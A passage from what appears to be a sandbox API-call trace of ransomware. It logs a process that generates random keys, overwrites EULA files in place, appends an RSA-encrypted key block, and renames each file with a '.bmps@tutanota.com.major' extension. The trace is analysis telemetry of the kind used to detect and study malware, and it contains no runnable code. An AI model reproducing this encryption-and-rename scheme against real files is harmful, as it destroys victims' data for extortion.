pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.839] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.839] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eMjJBJAo2+WcqZcVZ8y0oZabMjrw7b9lPKuRPeUIPF/mimUeczTwiJP0HkzBLwIA\nOx0Uv7tSljGAeC+64hQk8ZAZHO0oTbR8k77wTwr1YVRympEDzSnOdGuTuKwyJG2K\nk/EiSAfNCAPFhIdFJs8shAHxYxx1iSORDa9ks17FO9TKsfB+whIHI5vYTArTqw4F\nlSVsC9GwRNng+rzQBcDC0d3HHSqFDPOF4aLmzv6qcjDsCLM0ACDGc2NPs5MQ0VGl\neycmiz78Mcz5elTnxxfAte5zUoPaZSZdFVAOOS+yy3tKoj/sL1JicO8z/WQGV2mK\nx1TAbqES/ZkOSR5YhqxSmQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.839] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.839] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.839] CloseHandle (hObject=0x6e8) returned 1 [0156.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.839] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0156.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654678 | out: hHeap=0x570000) returned 1 [0156.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654600 | out: hHeap=0x570000) returned 1 [0156.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654510 [0156.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.843] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.843] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm", dwFileAttributes=0x80) returned 1 [0156.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ac0 [0156.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0156.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ac0 | out: hHeap=0x570000) returned 1 [0156.844] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.844] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=283852) returned 1 [0156.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x454cc) returned 0x2e60f28 [0156.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x454cc) returned 0x2ea6400 [0156.845] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x454cc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x454cc, lpOverlapped=0x0) returned 1 [0156.908] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-283852, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.908] WriteFile (in: hFile=0x6e8, lpBuffer=0x2ea6400*, nNumberOfBytesToWrite=0x454cc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea6400*, lpNumberOfBytesWritten=0x2e3f9b4*=0x454cc, lpOverlapped=0x0) returned 1 [0156.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea6400 | out: hHeap=0x570000) returned 1 [0156.910] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x454cc [0156.911] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.911] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.911] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.911] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.912] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.912] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="QYlooURcphaql5Sl2hHbXQvIO8mIKAyJ0bdn601rOY+/YfC7xF2UvrOoDYZ8fAuj\nzXIHhc3zhbRJlPc2kUdCAIOQzYOzsVyMQaIVwhyjL3l04lQuP2bEzd3xauV2VyLh\nLgId50F6QvEfUeeIr9YUScPqrwJceFJLRDTf39QjLsOKiGfYWruabbA+p2KfIiUO\nVDuwBxQfhTa57vD6HEbXeRKtrpDSypOurkJFVGiAMEB6CrJs2XD4++MxrDI+IJhD\nBm+CnwYw40tsU3+tz/h6hcqYzw5nY9KDaCpqr+vdkVfvsD+G2lIs3GucSSjcyD2/\norco9UcTFwY9ObjuTBV1ZA==\n", pcchString=0x2e3f9a8) returned 1 [0156.912] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.912] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.912] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.912] CloseHandle (hObject=0x6e8) returned 1 [0156.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.913] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0156.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654510 | out: hHeap=0x570000) returned 1 [0156.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654498 | out: hHeap=0x570000) returned 1 [0156.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654510 [0156.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.915] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.915] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm", dwFileAttributes=0x80) returned 1 [0156.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6538e0 [0156.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538e0 | out: hHeap=0x570000) returned 1 [0156.915] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.916] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=78176) returned 1 [0156.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13160) returned 0x6548b8 [0156.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13160) returned 0x2e60f28 [0156.916] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x13160, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x13160, lpOverlapped=0x0) returned 1 [0157.027] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-78176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.027] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x13160, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13160, lpOverlapped=0x0) returned 1 [0157.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.028] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13160 [0157.028] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.028] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.028] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.028] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.028] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.028] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="4SIrktIz6nxDW4WHb2+rLUM71SPGbQ60AuntiO20XEFAG+4+F1qsCcNt0860Onp4\nfKapWMGk3K1KiDj2Fx1uFUHE/mZtwEJvqkEZ6M0LPmFXg0DrH6JMLBMMSn2Y5xtT\nAjz6IzlaH3sRlRijy08L7PvXQddY/1Mm+s1M3bmHH996IkoETr51shl/cPgAc4ML\nzYiGPXQ5+GiO/dAXMpl4OY9JY1MP995OYiIEfpLAj/d40djWVqMyivvLJMJoKzcO\nwpXHIgYWhxk2BmQj1X8WwLdxn25fljaTSQUtHnQQF1sfOV5WZYP13Cee8f0ohE9l\nfctI8mtMfGdnN1kpLFPiIg==\n", pcchString=0x2e3f9a8) returned 1 [0157.028] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.028] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.029] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.029] CloseHandle (hObject=0x6e8) returned 1 [0157.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.029] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0157.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0157.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654510 | out: hHeap=0x570000) returned 1 [0157.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654420 | out: hHeap=0x570000) returned 1 [0157.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654498 [0157.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.031] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.031] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm", dwFileAttributes=0x80) returned 1 [0157.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653d18 [0157.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0157.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653d18 | out: hHeap=0x570000) returned 1 [0157.032] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.032] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=71054) returned 1 [0157.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1158e) returned 0x2e60f28 [0157.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1158e) returned 0x6548b8 [0157.032] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x1158e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x1158e, lpOverlapped=0x0) returned 1 [0157.051] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-71054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.051] WriteFile (in: hFile=0x6e8, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x1158e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1158e, lpOverlapped=0x0) returned 1 [0157.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.051] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1158e [0157.051] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.051] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.051] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.051] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.052] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.052] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.052] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="im6GeqeHdBmxVj6pbkGN9QhSrBxXc5cusL6isYnNqMGmo4JtN0tMEiP/4J5nDHiu\nhelH3XcK135CJPNIT4NRTUlDLdmKK38JLFc1jBN2HgksnauiHh9Du58ad2aYQ/TG\n8680yAFaBU3fs/qf8Yg2K4lHQlPOxo0MgUh+1ZXv7TBQsSO8veC8PHow/MafRbj6\nWxTlrvK2tdMyUksPb848v4XZV3tM+mfKQj2Bs/rRrG7b1pK3rVnPDRRZhhSL8jcO\n1ZGctjs52ibjAQolZ84bpa4Mv4yFoi+y0JsQTX6Tf76k8wE35AhfeKtstPIVifmD\nRX2DmyBuggSP4VSzPh6nNw==\n", pcchString=0x2e3f9a8) returned 1 [0157.052] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.052] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.052] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.052] CloseHandle (hObject=0x6e8) returned 1 [0157.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.052] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0157.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654498 | out: hHeap=0x570000) returned 1 [0157.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6541c8 | out: hHeap=0x570000) returned 1 [0157.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654678 [0157.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.054] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.054] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm", dwFileAttributes=0x80) returned 1 [0157.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6541c8 [0157.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0157.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6541c8 | out: hHeap=0x570000) returned 1 [0157.055] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.055] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=68292) returned 1 [0157.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10ac4) returned 0x2e60f28 [0157.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10ac4) returned 0x6548b8 [0157.055] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x10ac4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x10ac4, lpOverlapped=0x0) returned 1 [0157.067] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-68292, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.067] WriteFile (in: hFile=0x6e8, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x10ac4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10ac4, lpOverlapped=0x0) returned 1 [0157.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.068] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10ac4 [0157.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.068] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.069] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.069] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="T1BBC8uCUDy3PXV3y0i67Nm6RFbGKYm22I1LLFO0f7ymARLdONW7AkoruqA0S0hK\nRPphJUzV/JwfxKQcW6qkS1DClCNJyZoYDKigHU7visP1O7gAj5YxOCYM8okvlv+V\noSsEq4qoR3dCti+LXJM6Xg/WI6Nf2SBmjCa5iOzo3pRmTZAb6EWtehRDTFwC6h74\nNk31n75wUyKXnkau/X6X6GX5Xw8klHMpcNiyYFfTHbd7H/jhOaH3b5gMEttT/Bhm\n/u3knPP9zBoNE2XvCee5RH4NAGBVHgo3ftJYJrjEraoYgiH27HeAHjJfaMzOxCkG\nmceHPg3xVTFZlZ/GnI6MZg==\n", pcchString=0x2e3f9a8) returned 1 [0157.069] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.069] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.069] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, 